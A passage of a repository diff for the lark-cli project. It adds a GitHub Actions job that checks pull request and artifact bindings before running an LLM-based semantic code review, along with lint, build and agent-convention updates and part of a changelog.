+        if: ${{ always() && steps.pr.outputs.stale != 'true' && steps.checkout.outcome == 'success' }}
+        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
+        env:
+          CI_QUALITY_SUMMARY_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
+          CI_QUALITY_SUMMARY_BASE_SHA: ${{ steps.pr.outputs.base_sha }}
+          CI_QUALITY_SUMMARY_PR_NUMBER: ${{ steps.pr.outputs.pr_number }}
+          CI_QUALITY_SUMMARY_RUN_ID: ${{ steps.pr.outputs.run_id }}
+          CI_QUALITY_SUMMARY_ARTIFACT_ERROR: ${{ steps.pr.outputs.artifact_error }}
+        with:
+          script: |
+            const { publish } = require("./scripts/ci-quality-summary-publish.js");
+            await publish({ github, context, core });
+
+  semantic-review:
+    needs: pr-quality-summary
+    if: always() && github.event.workflow_run.conclusion == 'success' && github.event.workflow_run.event == 'pull_request'
+    runs-on: ubuntu-latest
+    permissions:
+      actions: read
+      checks: write
+      contents: read
+      issues: write
+      pull-requests: write
+    steps:
+      - name: Verify workflow run and pull request
+        id: pr
+        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
+        with:
+          script: |
+            const run = context.payload.workflow_run;
+            if (run.name !== "CI") throw new Error(`unexpected workflow name: ${run.name}`);
+            let workflowPath = run.path || "";
+            if (!workflowPath) {
+              const workflowId = Number(run.workflow_id || 0);
+              if (!Number.isInteger(workflowId) || workflowId <= 0) throw new Error("missing workflow id");
+              const { data: workflow } = await github.rest.actions.getWorkflow({
+                owner: context.repo.owner,
+                repo: context.repo.repo,
+                workflow_id: workflowId,
+              });
+              workflowPath = workflow.path || "";
+            }
+            if (workflowPath !== ".github/workflows/ci.yml") throw new Error(`unexpected workflow path: ${workflowPath}`);
+            if (run.event !== "pull_request") throw new Error(`unexpected event: ${run.event}`);
+            if (run.conclusion !== "success") throw new Error(`unexpected conclusion: ${run.conclusion}`);
+            if (run.repository.id !== context.payload.repository.id) throw new Error("repository id mismatch");
+            if (run.repository.full_name !== context.payload.repository.full_name) throw new Error("repository name mismatch");
+            if (typeof run.head_sha !== "string" || run.head_sha.length !== 40) throw new Error("invalid head sha");
+            const runPRs = Array.isArray(run.pull_requests) ? run.pull_requests : [];
+            if (runPRs.length > 1) {
+              throw new Error(`ambiguous workflow_run pull request bindings: ${runPRs.length}`);
+            }
+            let prNumber = Number(runPRs[0]?.number || 0);
+            const eventBaseSha = runPRs[0]?.base?.sha || "";
+            const eventHeadSha = runPRs[0]?.head?.sha || "";
+            const targetHeadSha = run.head_sha;
+            if (!/^[a-f0-9]{40}$/i.test(targetHeadSha)) throw new Error("invalid PR head sha");
+            if (eventHeadSha && eventHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
+              core.notice("semantic review using workflow_run head_sha because workflow_run pull request head differs from the CI run head");
+            }
+
+            const factsArtifactPattern = /^quality-gate-facts-([a-f0-9]{40})-([a-f0-9]{40})$/i;
+            const { data: artifactData } = await github.rest.actions.listWorkflowRunArtifacts({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              run_id: run.id,
+              per_page: 100,
+            });
+            const factsArtifacts = artifactData.artifacts.filter((artifact) => factsArtifactPattern.test(artifact.name));
+            let factsArtifactName = "";
+            let artifactBaseSha = "";
+            let artifactError = "";
+            if (factsArtifacts.length !== 1) {
+              artifactError = `expected exactly one base-bound quality gate facts artifact, got ${factsArtifacts.length}`;
+            } else {
+              factsArtifactName = factsArtifacts[0].name;
+              const [, parsedBaseSha, artifactHeadSha] = factsArtifactName.match(factsArtifactPattern);
+              if (artifactHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
+                artifactError = "facts artifact head sha does not match verified PR head sha";
+                factsArtifactName = "";
+              } else {
+                artifactBaseSha = parsedBaseSha;
+                if (eventBaseSha && parsedBaseSha.toLowerCase() !== eventBaseSha.toLowerCase()) {
+                  core.notice("semantic review using facts artifact base because workflow_run pull request base differs from the CI facts artifact base");
+                }
+              }
+            }
+            if (!prNumber) {
+              const { data: associatedPRs } = await github.rest.repos.listPullRequestsAssociatedWithCommit({
+                owner: context.repo.owner,
+                repo: context.repo.repo,
+                commit_sha: targetHeadSha,
+              });
+              const candidatePRs = associatedPRs.filter((candidate) =>
+                candidate.base?.repo?.id === context.payload.repository.id &&
+                candidate.head?.sha === targetHeadSha
+              );
+              const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
+              if (openCandidatePRs.length > 1) {
+                throw new Error(`ambiguous open PRs for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
+              }
+              if (openCandidatePRs.length === 1) {
+                prNumber = openCandidatePRs[0].number;
+              } else if (candidatePRs.length > 0) {
+                core.notice("semantic review skipped: workflow_run target PR is no longer open");
+                core.setOutput("stale", "true");
+                return;
+              }
+            }
+            if (!prNumber) {
+              const candidatePRs = await github.paginate(github.rest.pulls.list, {
+                owner: context.repo.owner,
+                repo: context.repo.repo,
+                state: "all",
+                per_page: 100,
+              }).then((prs) => prs.filter((candidate) =>
+                candidate.base?.repo?.id === context.payload.repository.id &&
+                candidate.head?.sha === targetHeadSha
+              ));
+              const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
+              if (openCandidatePRs.length > 1) {
+                throw new Error(`ambiguous open PRs from pull list fallback for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
+              }
+              if (openCandidatePRs.length === 1) {
+                prNumber = openCandidatePRs[0].number;
+              } else if (candidatePRs.length > 0) {
+                core.notice("semantic review skipped: workflow_run target PR is no longer open");
+                core.setOutput("stale", "true");
+                return;
+              } else {
+                throw new Error(`expected one open PR from pull list fallback for workflow_run head ${targetHeadSha}, got ${candidatePRs.length}`);
+              }
+            }
+            if (!Number.isInteger(prNumber) || prNumber <= 0) throw new Error("missing pull request binding");
+            const { data: pr } = await github.rest.pulls.get({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              pull_number: prNumber,
+            });
+            if (pr.base.repo.id !== context.payload.repository.id) throw new Error("PR base repo mismatch");
+            if (pr.state !== "open") {
+              core.notice("semantic review skipped: workflow_run target PR is no longer open");
+              core.setOutput("stale", "true");
+              return;
+            }
+            if (!pr.head.repo) {
+              core.notice("semantic review skipped: workflow_run target PR head repository is unavailable");
+              core.setOutput("stale", "true");
+              return;
+            }
+            if (pr.head.sha !== targetHeadSha) {
+              core.notice("semantic review skipped: workflow_run is stale for this PR head");
+              core.setOutput("stale", "true");
+              return;
+            }
+            const baseSha = artifactBaseSha || eventBaseSha || pr.base.sha;
+            if (!/^[a-f0-9]{40}$/i.test(baseSha)) throw new Error("invalid PR base sha");
+            if ((eventBaseSha || artifactBaseSha) && pr.base.sha !== baseSha) {
+              core.notice("semantic review skipped: workflow_run is stale for this PR base");
+              core.setOutput("stale", "true");
+              return;
+            }
+            if (artifactError) {
+              core.warning(`semantic review facts artifact binding is unavailable: ${artifactError}`);
+            }
+            core.setOutput("pr_number", String(prNumber));
+            core.setOutput("head_sha", targetHeadSha);
+            core.setOutput("base_sha", baseSha);
+            core.setOutput("head_owner", pr.head.repo.owner.login);
+            core.setOutput("head_repo", pr.head.repo.name);
+            core.setOutput("head_repo_id", String(pr.head.repo.id));
+            core.setOutput("head_is_base_repo", pr.head.repo.id === context.payload.repository.id ? "true" : "false");
+            core.setOutput("run_id", String(run.id));
+            core.setOutput("facts_artifact_name", factsArtifactName);
+            core.setOutput("artifact_error", artifactError);
+            core.setOutput("stale", "false");
+
+      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
+        id: checkout
+        if: ${{ steps.pr.outputs.stale != 'true' }}
+        with:
+          ref: ${{ steps.pr.outputs.base_sha }}
+          persist-credentials: false
+
+      - name: Publish pre-checkout semantic review failure
+        if: ${{ failure() && steps.pr.outputs.stale != 'true' && steps.checkout.outcome != 'success' && steps.pr.outputs.head_sha != '' && steps.pr.outputs.pr_number != '' }}
+        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
+        env:
+          SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
+          SEMANTIC_REVIEW_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
+          SEMANTIC_REVIEW_BASE_SHA: ${{ steps.pr.outputs.base_sha }}
+          SEMANTIC_REVIEW_PR_NUMBER: ${{ steps.pr.outputs.pr_number }}
+          SEMANTIC_REVIEW_RUN_ID: ${{ steps.pr.outputs.run_id }}
+        with:
+          script: |
+            const runtimeBlockMode = process.env.SEMANTIC_REVIEW_BLOCK === "true";
+            const pr = Number(process.env.SEMANTIC_REVIEW_PR_NUMBER || 0);
+            const headSha = process.env.SEMANTIC_REVIEW_HEAD_SHA || "";
+            const baseSha = process.env.SEMANTIC_REVIEW_BASE_SHA || "";
+            if (!Number.isInteger(pr) || pr <= 0 || !/^[a-f0-9]{40}$/i.test(headSha) || !/^[a-f0-9]{40}$/i.test(baseSha)) {
+              throw new Error("missing verified semantic review target");
+            }
+            const { data: pull } = await github.rest.pulls.get({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              pull_number: pr,
+            });
+            if (pull.state !== "open") {
+              core.notice("semantic review skipped infrastructure failure check: PR is no longer open");
+              return;
+            }
+            if (pull.head.sha !== headSha) {
+              core.notice("semantic review skipped infrastructure failure check: PR head changed");
+              return;
+            }
+            if (pull.base.sha !== baseSha) {
+              core.notice("semantic review skipped infrastructure failure check: PR base changed");
+              return;
+            }
+            if (pull.base.repo.id !== context.payload.repository.id) {
+              throw new Error("PR base repo mismatch before infrastructure failure check");
+            }
+            await github.rest.checks.create({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              name: runtimeBlockMode ? "semantic-review/result" : "semantic-review/observe",
+              head_sha: headSha,
+              status: "completed",
+              conclusion: runtimeBlockMode ? "failure" : "neutral",
+              output: {
+                title: "Semantic review infrastructure failure",
+                summary: "Semantic review could not checkout the verified base commit. Inspect the workflow logs before relying on semantic review output.",
+              },
+            });
+
+      - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
+        if: ${{ steps.pr.outputs.stale != 'true' }}
+        with:
+          go-version-file: go.mod
+
+      - name: Verify semantic facts artifact metadata
+        id: artifact
+        if: ${{ steps.pr.outputs.stale != 'true' }}
+        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
+        with:
+          script: |
+            const run = context.payload.workflow_run;
+            const factsArtifactName = "${{ steps.pr.outputs.facts_artifact_name }}";
+            if (!/^quality-gate-facts-[a-f0-9]{40}-[a-f0-9]{40}$/i.test(factsArtifactName)) {
+              throw new Error("missing verified facts artifact binding");
+            }
+            const { data } = await github.rest.actions.listWorkflowRunArtifacts({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              run_id: run.id,
+              per_page: 100,
+            });
+            const artifacts = data.artifacts.filter(a => a.name === factsArtifactName);
+            if (artifacts.length !== 1) throw new Error(`expected exactly one quality-gate-facts artifact, got ${artifacts.length}`);
+            const artifact = artifacts[0];
+            if (artifact.expired) throw new Error("quality-gate-facts artifact expired");
+            if (artifact.size_in_bytes <= 0 || artifact.size_in_bytes > 5 * 1024 * 1024) {
+              throw new Error(`invalid artifact size: ${artifact.size_in_bytes}`);
+            }
+            if (!artifact.digest) throw new Error("facts artifact digest is missing from GitHub API response");
+            core.setOutput("artifact_id", String(artifact.id));
+            core.setOutput("artifact_digest", artifact.digest);
+
+      - name: Download facts artifact zip
+        if: ${{ steps.pr.outputs.stale != 'true' }}
+        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
+        id: download
+        with:
+          script: |
+            const fs = require("fs");
+            const path = require("path");
+            const artifactId = Number("${{ steps.artifact.outputs.artifact_id }}");
+            if (!Number.isInteger(artifactId) || artifactId <= 0) throw new Error("invalid artifact id");
+            const { data } = await github.rest.actions.downloadArtifact({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              artifact_id: artifactId,
+              archive_format: "zip",
+            });
+            const zipPath = path.join(process.env.RUNNER_TEMP, "quality-gate-facts.zip");
+            fs.writeFileSync(zipPath, Buffer.from(data));
+            core.setOutput("zip_path", zipPath);
+
+      - name: Verify and extract semantic facts artifact
+        if: ${{ steps.pr.outputs.stale != 'true' }}
+        env:
+          SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
+          SEMANTIC_REVIEW_DECISION_OUT: decision.json
+          SEMANTIC_REVIEW_MARKDOWN_OUT: semantic-review.md
+        run: node scripts/semantic-review-verify-artifact.js '${{ steps.download.outputs.zip_path }}' facts.json '${{ steps.artifact.outputs.artifact_digest }}'
+
+      - name: Download PR semantic waiver config
+        id: waiver_config
+        if: ${{ steps.pr.outputs.stale != 'true' }}
+        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
+        env:
+          SEMANTIC_REVIEW_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
+          SEMANTIC_REVIEW_HEAD_OWNER: ${{ steps.pr.outputs.head_owner }}
+          SEMANTIC_REVIEW_HEAD_REPO: ${{ steps.pr.outputs.head_repo }}
+          SEMANTIC_REVIEW_HEAD_IS_BASE_REPO: ${{ steps.pr.outputs.head_is_base_repo }}
+        with:
+          script: |
+            const fs = require("fs");
+            const path = require("path");
+            const headSha = process.env.SEMANTIC_REVIEW_HEAD_SHA || "";
+            if (!/^[a-f0-9]{40}$/i.test(headSha)) {
+              throw new Error("missing verified semantic review target");
+            }
+            const headOwner = process.env.SEMANTIC_REVIEW_HEAD_OWNER || "";
+            const headRepo = process.env.SEMANTIC_REVIEW_HEAD_REPO || "";
+            if (!headOwner || !headRepo) {
+              throw new Error("missing verified semantic review head repository");
+            }
+            const waiverPath = "internal/qualitygate/config/semantic/waivers.txt";
+            const outPath = path.join(process.env.RUNNER_TEMP, "semantic-review-waivers.txt");
+            const headIsBaseRepo = process.env.SEMANTIC_REVIEW_HEAD_IS_BASE_REPO === "true";
+            if (!headIsBaseRepo) {
+              core.notice("fork PR semantic waiver config is ignored");
+              core.setOutput("path", "");
+              return;
+            }
+            let content = "";
+            try {
+              const { data } = await github.rest.repos.getContent({
+                owner: headOwner,
+                repo: headRepo,
+                path: waiverPath,
+                ref: headSha,
+              });
+              if (Array.isArray(data) || data.type !== "file" || data.encoding !== "base64") {
+                throw new Error(`${waiverPath} is not a base64 file at PR head`);
+              }
+              if (data.size > 256 * 1024) {
+                throw new Error(`${waiverPath} is too large: ${data.size} bytes`);
+              }
+              content = Buffer.from(data.content, "base64").toString("utf8");
+            } catch (err) {
+              if (err.status !== 404) {
+                throw err;
+              }
+            }
+            fs.writeFileSync(outPath, content);
+            core.setOutput("path", outPath);
+
+      - name: Run semantic review
+        id: semantic
+        if: ${{ steps.pr.outputs.stale != 'true' }}
+        env:
+          ARK_API_KEY: ${{ secrets.ARK_API_KEY }}
+          ARK_BASE_URL: ${{ vars.ARK_BASE_URL }}
+          ARK_MODEL: ${{ vars.ARK_MODEL }}
+          ARK_TIMEOUT_SECONDS: ${{ vars.ARK_TIMEOUT_SECONDS }}
+          SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
+        run: |
+          args=(
+            --repo .
+            --facts facts.json
+            --decision-out decision.json
+            --markdown-out semantic-review.md
+          )
+          if [ -n "${{ steps.waiver_config.outputs.path }}" ]; then
+            args+=(--waivers-file '${{ steps.waiver_config.outputs.path }}')
+          fi
+          if [ "$SEMANTIC_REVIEW_BLOCK" = "true" ]; then
+            args+=(--block)
+          fi
+          go run ./internal/qualitygate/cmd/semantic-review "${args[@]}"
+
+      - name: Publish semantic review
+        if: ${{ always() && steps.pr.outputs.stale != 'true' && steps.checkout.outcome == 'success' }}
+        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
+        env:
+          SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
+          SEMANTIC_REVIEW_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
+          SEMANTIC_REVIEW_BASE_SHA: ${{ steps.pr.outputs.base_sha }}
+          SEMANTIC_REVIEW_PR_NUMBER: ${{ steps.pr.outputs.pr_number }}
+          SEMANTIC_REVIEW_RUN_ID: ${{ steps.pr.outputs.run_id }}
+        with:
+          script: |
+            const { publish } = require("./scripts/semantic-review-publish.js");
+            await publish({ github, context, core });

.gitignore

@@ -7,6 +7,11 @@ bin/
 # Node
 node_modules/
 
+# Python (skill-bundled helper scripts)
+__pycache__/
+*.py[cod]
+*$py.class
+
 
 # OS
 .DS_Store
@@ -22,6 +27,9 @@ Thumbs.db
 # Go
 docs/ref
 docs/
+!tests/cli_e2e/docs/
+!tests/cli_e2e/docs/*.go
+!tests/cli_e2e/docs/*.md
 vendor/
 
 
@@ -35,6 +43,8 @@ tests/mail/reports/
 # Generated / test artifacts
 .hammer/
 .lark-slides/
+/notes/
+/minutes/
 internal/registry/meta_data.json
 cmd/api/download.bin
 app.log
@@ -44,3 +54,9 @@ app.log
 cover*.out
 
 lark-env.sh
+/automations/
+
+# Local-only proof artifacts and coverage reports (never committed)
+coverage.html
+tests_e2e/
+tests_skill_eval/

.golangci.yml

@@ -29,11 +29,11 @@ linters:
     - unused          # checks for unused constants, variables, functions and types
     - depguard        # blocks forbidden package imports
     - forbidigo       # forbids specific function calls
+    - errorlint       # enforces error wrapping (%w) and errors.Is/As over == and type asserts
 
     # To enable later after fixing existing issues:
     # - errcheck      # checks for unchecked errors
     # - errname       # checks that error types are named XxxError
-    # - errorlint     # checks error wrapping best practices
     # - gosec         # security-oriented linter
     # - misspell      # finds commonly misspelled English words
     # - staticcheck   # comprehensive static analysis
@@ -49,24 +49,47 @@ linters:
           - gocritic
           - depguard
           - forbidigo
-      # Paths that run forbidigo. Add an entry when a path joins one of
-      # the rules below.
+          - errorlint # tests legitimately do identity (==) and concrete type-assert checks
+      # forbidigo runs repo-wide (minus the boundaries below) so errs-no-bare-wrap
+      # has no gap. The framework bans (os/vfs, raw HTTP, fmt.Print, filepath,
+      # log) stay scoped to shortcuts/ + internal/ + config/auth/service via the
+      # next rule; elsewhere only errs-no-bare-wrap fires.
+      - path-except: (shortcuts/|internal/|cmd/|events/)
+        linters:
+          - forbidigo
       - path-except: (shortcuts/|internal/|cmd/auth/|cmd/config/|cmd/service/)
+        text: (vfs|IOStreams|ctx\.Out|shortcuts-no-raw-http|filepath functions|os\.Exit|structured error return)
         linters:
           - forbidigo
       - path: internal/vfs/
         linters:
           - forbidigo
+      # internal/gen build-time generators (standalone `package main` run via
+      # go:generate) are not shortcut runtime code — no ctx/runtime/framework —
+      # so the shortcut forbidigo bans don't apply. Going "compliant" is also
+      # impossible here: a structured error return needs os.Exit (also banned),
+      # and the vfs.Xxx() alternative is blocked by depguard shortcuts-no-vfs.
+      - path: shortcuts/.*/internal/gen/
+        linters:
+          - forbidigo
+      # internal/qualitygate/cmd contains standalone CI tools. Their main
+      # entrypoints legitimately own process exit codes and stdio, matching the
+      # old tools/ layout before these packages moved under internal/.
+      - path: internal/qualitygate/cmd/[^/]+/main\.go$
+        linters:
+          - forbidigo
       # shortcuts-no-raw-http is shortcuts-only; internal/ wraps raw HTTP
       # for the client / credential layer.
       - path-except: shortcuts/
         text: shortcuts-no-raw-http
         linters:
           - forbidigo
-      # errs-typed-only enforced on paths already migrated to errs.NewXxxError.
-      # Add a path when its migration is complete.
-      - path-except: (internal/auth/|internal/errcompat/|internal/errclass/|internal/client/|internal/cmdutil/factory\.go|cmd/auth/|cmd/config/|cmd/service/|shortcuts/common/mcp_client\.go|shortcuts/calendar/helpers\.go)
-        text: errs-typed-only
+      # errs-no-bare-wrap enforced across every command/wire boundary by
+      # structural prefix, so any future business domain or command is covered
+      # without editing an allowlist. Genuine intermediate wraps inside these
+      # paths use //nolint:forbidigo with a reason.
+      - path-except: (cmd/|shortcuts/|events/)
+        text: errs-no-bare-wrap
         linters:
           - forbidigo
 
@@ -87,13 +110,12 @@ linters:
                 Use runtime.FileIO() for file operations or runtime.ValidatePath() for path validation.
     forbidigo:
       forbid:
-        # ── legacy output.Err* helpers banned on migrated paths ──
-        # output.ErrBare is intentionally not listed — it is the predicate-
-        # command silent-exit signal, outside the typed envelope contract.
-        - pattern: output\.(ErrValidation|ErrAuth|ErrNetwork|ErrAPI|ErrWithHint|Errorf)\b
+        # ── bare error wraps banned on fully-typed paths ──
+        - pattern: (fmt\.Errorf|errors\.New)\b
           msg: >-
-            [errs-typed-only] use errs.NewXxxError(...) builder
-            (see errs/types.go).
+            [errs-no-bare-wrap] final errors must be typed (errs.NewXxxError);
+            wrap a cause with .WithCause(err). Genuine intermediate wraps:
+            //nolint:forbidigo with a reason.
         # ── http: shortcuts must not construct raw HTTP requests ──
         # Bans request / client construction; constants (http.MethodPost,
         # http.StatusOK) and pure helpers (http.StatusText, http.Header) are

.goreleaser.yml

@@ -17,6 +17,7 @@ builds:
     goarch:
       - amd64
       - arm64
+      - riscv64
 
 archives:
   - name_template: "lark-cli-{{ .Version }}-{{ .Os }}-{{ .Arch }}"

AGENTS.md

@@ -10,9 +10,10 @@
 ## Build & Test
 
 ```bash
-make build          # Build (runs fetch_meta first)
-make unit-test      # Required before PR (runs with -race)
-make test           # Full: vet + unit + integration
+make build             # Build (runs fetch_meta first)
+make unit-test         # Required before PR (runs with -race where supported, e.g. amd64/arm64)
+make live-skills-test  # Opt-in real Skills CLI tests; runs with isolated user directories
+make test              # Full: vet + unit + integration
 ```
 
 ## Notification Opt-Outs
@@ -75,12 +76,50 @@ The one rule to internalize: **every error message you write will be parsed by a
 
 ### Structured errors in commands
 
-`RunE` functions must return `output.Errorf` / `output.ErrWithHint` — never bare `fmt.Errorf`. AI agents parse stderr as JSON; bare errors break this contract.
+Command-facing failures must be typed `errs.*` errors — never the legacy `output.Err*` helpers and never a final bare `fmt.Errorf`. AI agents parse the stderr envelope's `type` / `subtype` / `param` / `hint` fields to decide their next action; the full taxonomy lives in `errs/ERROR_CONTRACT.md`.
+
+Picking a constructor:
+
+| Failure | Constructor |
+|---------|-------------|
+| User flag/arg fails validation | `errs.NewValidationError(errs.SubtypeInvalidArgument, ...).WithParam("--flag")` |
+| Valid request, wrong system state | `errs.NewValidationError(errs.SubtypeFailedPrecondition, ...).WithHint(...)` |
+| Lark API returned `code != 0` | `runtime.CallAPITyped` (shortcuts) / `errclass.BuildAPIError` (raw responses) — never hand-build |
+| Network / transport failure | `errs.NewNetworkError(errs.SubtypeNetworkTransport, ...)` |
+| Local file I/O failure | `errs.NewInternalError(errs.SubtypeFileIO, ...)` — validate the path first (`validate.SafeInputPath` / `SafeOutputPath`) and use `vfs.*` |
+| Unclassified lower-layer error as final | `errs.NewInternalError(errs.SubtypeUnknown, ...).WithCause(err)` |
+| Lower layer already returned a typed error | pass it through unchanged — re-wrapping downgrades its classification |
+
+Signatures that are easy to guess wrong:
+
+- `runtime.CallAPITyped(method, url string, params map[string]interface{}, data interface{}) (map[string]interface{}, error)` — it performs the HTTP request itself and classifies `code != 0` into a typed error; just return the error it gives you.
+- Typed pass-through check: `if _, ok := errs.ProblemOf(err); ok { return err }` — `ProblemOf` returns `(*errs.Problem, bool)`, not a nilable pointer.
+- `.WithParam` exists only on `*errs.ValidationError`. `InternalError` / `NetworkError` have no param field — file or endpoint context goes in the message or `.WithHint(...)`.
+
+`forbidigo` + `lint/errscontract` reject the legacy `output.Err*` helpers, bare final `fmt.Errorf` / `errors.New`, and legacy envelope literals on migrated paths. Beyond what lint catches, three authoring conventions apply:
+
+- Preserve the underlying error with `.WithCause(err)` so `errors.Is` / `errors.Unwrap` keep working.
+- `param` names only the user input that actually failed. Recovery guidance goes in `.WithHint(...)`; machine-readable recovery fields (`missing_scopes`, `log_id`) carry server/system ground truth only — never caller-side guesses.
+- Error-path tests assert typed metadata via `errs.ProblemOf` (`category` / `subtype` / `param`) and cause preservation, not message substrings alone.
 
 ### stdout is data, stderr is everything else
 
 Program output (JSON envelopes) goes to stdout. Progress, warnings, hints go to stderr. Mixing them corrupts pipe chains.
 
+### Typed data over loose maps
+
+Parse `map[string]interface{}` into a typed struct at the boundary — one projection function per shape — and let everything downstream consume struct fields, not string keys. A typo'd map key compiles fine and fails at runtime, which an agent then debugs blind.
+
+Use distinct types when two values could be swapped silently: see `internal/meta.Token` — a bare string compiles on either side of a string/string signature, a distinct type does not.
+
+Legacy loose-map code exists in older paths. Match its call sites when touching it, but do not copy the pattern into new code.
+
+### Transcribe faithfully — no silent fallbacks
+
+When code echoes input onward (request previews, transformations, proxies), transcribe verbatim. A `default:` branch that coerces unrecognized input into a plausible value ("unknown HTTP verb → GET") makes the output lie, and an agent reasons from the lie.
+
+The same rule applies to flag combinations and internal wiring: if a requested option cannot be honored, return a typed validation error — never silently substitute another behavior and exit 0. Silent guesses (defaulting a missing identity, discarding writes on a nil writer) are bugs even when every current caller happens to avoid them.
+
 ### Use `vfs.*` instead of `os.*`
 
 All filesystem access goes through `internal/vfs`. This enables test mocking.
@@ -92,6 +131,7 @@ CLI arguments are untrusted (they come from AI agents). Call `validate.SafeInput
 ### Tests
 
 - Every behavior change needs a test alongside the change.
+- A contract test must fail if the implementation is reverted. If you can undo the code change and the suite stays green, the contract is not pinned — assert the new field/behavior directly, not a happy-path substring.
 - `cmdutil.TestFactory(t, config)` for test factories.
 - `t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())` to isolate config state.
 

CHANGELOG.md

@@ -2,6 +2,650 @@
 
 All notable changes to this project will be documented in this file.
 
+## [v1.0.74] - 2026-07-21
+
+### Features
+
+- **slides**: add history rollback shortcuts (#1714)
+- **base**: support per-record batch updates (#1889)
+
+### Bug Fixes
+
+- preserve slides schema issues
+- allow jq examples in quality gate dry-runs
+- **im**: warn when flag pagination is truncated (#1906)
+- **slides**: warn on text shape overflow
+- **slides**: exempt chart roundtrip attributes from lint
+- **slides**: detect image text occlusion
+- **slides**: clarify xml-text-overlap-lint error for positional argument (#1986)
+
+### Documentation
+
+- clarify drive upload overwrite guidance (#1982)
+
+### Tests
+
+- isolate unit tests from user state (#1883)
+
+### Refactoring
+
+- converge success output through a single Emitter that owns the write (#1899)
+
+## [v1.0.73] - 2026-07-20
+
+### Features
+
+- **apps**: design_html support, creative-design skill, unified TOS publish (#1901)
+
+### Bug Fixes
+
+- **slides**: detect visual elements outside canvas
+- reduce public content credential fixture false positives
+- standardize CLI shortcut text in English (#1942)
+
+### Documentation
+
+- **base**: reduce filter and update retry loops (#1879)
+- **vc**: default transcript routing to smart notes over minutes (#1961)
+- clarify local trigger automation (#1958)
+
+### Tests
+
+- synchronize temporary Git maintenance (#1946)
+
+### Misc
+
+- **slides**: update lark-slides skill to 0715 snapshot (#1933)
+- [codex] support bot menu events (#1765)
+
+## [v1.0.72] - 2026-07-17
+
+### Features
+
+- **slides**: lint table out of canvas
+- **slides**: report resolved table size mismatches
+- **approval**: support approval event consumption (#1924)
+
+### Bug Fixes
+
+- **vc**: don't fail +detail for in-progress meetings (#1930)
+- stabilize drive delete E2E terminal-state checks (#1939)
+
+### Documentation
+
+- **slides**: document table dimensions
+- document base field default values (#1500)
+- **sheets**: use English placeholder in table-get guidance (#1936)
+
+### Tests
+
+- stabilize live e2e auth retries (#1904)
+- use tri-state wiki node identity in delete verification (#1931)
+- fix drive cover download retries (#1934)
+
+## [v1.0.71] - 2026-07-16
+
+### Features
+
+- add wiki move-to-drive shortcut (#1869)
+- **apps**: add role management shortcuts (#1881)
+- **drive**: add secure label support and clarify comment location API (#1913)
+
+### Bug Fixes
+
+- **base**: improve dashboard shortcut guidance (#1787)
+
+### Documentation
+
+- **apps**: add platform SQL authoring guide to the db-execute skill (#1912)
+
+### Misc
+
+- add L4 plugin-integration and sidecar-integration CI jobs (#1840)
+- **drive**: optimize drive +delete workflow (#1909)
+
+## [v1.0.70] - 2026-07-15
+
+### Features
+
+- add minutes permission application shortcut (#1876)
+- **drive**: support apps in list comments (#1877)
+- slide style
+- edit ppt template
+- **slides**: add sxsd validation to slides lint
+- **slides**: validate iconpark icon types in slides lint
+- **slides**: lint before create
+- **apps**: add automation trigger commands for Miaoda (#1886)
+
+### Bug Fixes
+
+- unify dry-run output contract (#1870)
+- **skills**: align skill guidance with the typed error contract (#1786)
+- **slides**: limit slides screenshot page requests
+- **slides**: detect lark slides text overflow overlap
+- **vc**: align meeting query scopes by identity (#1850)
+
+### Documentation
+
+- clarify task search relevance filters (#1884)
+- surface minutes permission application in skill description (#1890)
+- clarify okr progress children (#1861)
+- **slides**: prefer slides xml-get shortcut
+- **calendar**: document setting meeting owner via full API (#1903)
+
+### Refactoring
+
+- **slides**: streamline create workflow and validate SML namespaces
+
+### Misc
+
+- **slides**: address PR review feedback
+
+## [v1.0.69] - 2026-07-13
+
+### Features
+
+- support docs fetch selection anchors (#1815)
+- **apps**: support modern_html app type with TOS publish path and app type querying
+- **im**: show bot sender display names when reading messages (#1829)
+- add drive list comments shortcut (#1845)
+- support wiki sources in drive export (#1802)
+- add application domain with slash command management shortcuts (#1806)
+- validate IM idempotency key length (#1797)
+- surface reply context and mentions in im.message.receive_v1 (#1798)
+
+### Bug Fixes
+
+- route brand-sensitive endpoints through the resolver (#1836)
+
+### Documentation
+
+- document OKR block XML guidance (#1648)
+- refine doubao whiteboard workflow routing (#1841)
+- clarify Mindnote token handling (#1827)
+
+### Tests
+
+- isolate semantic waiver fixtures from wall clock
+
+### Misc
+
+- Merge lark sheets development branch (#1833)
+
+## [v1.0.68] - 2026-07-09
+
+### Features
+
